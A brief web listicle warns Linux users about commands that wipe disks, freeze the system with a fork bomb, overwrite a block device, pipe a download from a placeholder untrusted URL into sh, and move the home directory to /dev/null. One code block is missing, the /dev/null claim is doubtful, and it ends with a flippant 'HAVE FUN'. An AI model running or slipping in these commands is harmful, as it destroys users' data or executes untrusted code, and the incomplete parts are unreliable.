Few Deadly Linux Commands

1. Code:

 

This above is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

2. Code:
mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

3. Code:
:(){:|:&};:
 

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

4. Code:
any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

5. Code: 
wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

6. Code: 
mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

HAVE FUN :)